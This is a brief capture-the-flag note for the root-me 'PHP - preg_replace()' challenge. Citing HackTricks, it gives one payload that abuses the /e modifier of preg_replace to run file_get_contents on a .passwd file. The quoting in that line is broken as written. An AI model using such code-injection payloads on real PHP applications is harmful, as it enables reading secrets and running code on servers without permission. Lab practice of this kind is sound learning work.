PHP preg_replace

root-me challenge PHP - preg_replace(): Read flag.php.


Using HackTricks Code execution using preg_replace():

preg_replace("/a/e","file_get_contents(".passwd")","whatever")